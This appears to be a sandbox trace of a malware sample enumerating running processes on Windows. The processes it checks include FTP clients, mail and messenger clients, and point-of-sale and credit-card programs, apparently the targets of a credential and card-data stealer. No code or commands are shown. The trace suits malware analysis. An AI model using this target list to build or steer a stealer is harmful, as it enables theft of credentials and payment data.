	[0224.785] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0224.788] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0224.790] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0224.793] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0224.797] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0224.800] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0224.803] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0224.806] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation innocent drug.exe")) returned 1
	[0224.809] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trunk.exe")) returned 1
	[0224.941] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposalshurtsilly.exe")) returned 1
	[0224.944] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="record-cultural-corrections.exe")) returned 1
	[0224.946] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="defined_odd_stuff.exe")) returned 1
	[0224.949] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discounted_rational_ca.exe")) returned 1
	[0224.952] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corp.exe")) returned 1
	[0224.955] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="salemarchivevietnam.exe")) returned 1
	[0224.958] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="indexeslakes.exe")) returned 1
	[0224.961] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nation_dress_jelsoft.exe")) returned 1
	[0224.964] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="services supreme.exe")) returned 1
	[0224.967] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="man.exe")) returned 1
	[0224.970] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lives_defined.exe")) returned 1
	[0224.973] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bumper ideal.exe")) returned 1
	[0224.976] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="martin-catalyst.exe")) returned 1
	[0224.979] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nylonblacks.exe")) returned 1
	[0224.981] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vp i manner.exe")) returned 1
	[0225.083] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nitrogen canberra.exe")) returned 1
	[0225.086] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="prompt.exe")) returned 1
	[0225.090] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0225.093] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0225.098] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0225.100] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0225.103] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0225.106] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0225.110] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0225.112] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0225.115] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0225.118] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0225.121] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0225.531] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0225.534] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0225.537] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0225.539] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0225.542] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0225.546] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0225.549] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0225.552] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0225.555] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0225.558] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0225.561] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0225.564] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0225.567] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0225.570] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0225.573] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0225.904] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0225.912] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0225.915] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0225.918] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0225.922] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0225.925] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0225.927] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0225.930] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0225.933] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0225.937] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0225.940] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0225.942] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0225.946] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0225.949] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0227.023] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0227.026] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0227.030] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="crime rd occupied.exe")) returned 1
	[0227.033] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="camcorders.exe")) returned 1
	[0227.036] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="night.exe")) returned 1
	[0227.038] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="away.exe")) returned 1
	[0227.041] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0227.044] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0227.047] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="CusersPublicDHrQU.exe")) returned 1
	[0227.049] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xde, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SHyuNkHTvlan.exe")) returned 1
	[0227.052] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xfe, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SawWHUYCUlan.exe")) returned 1
	[0232.357] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0232.360] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0232.363] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
	[0232.366] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0232.369] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x167c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0232.381] Process32NextW (in: hSnapshot=0x708, lppe=0x2f8f410 | out: lppe=0x2f8f410*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
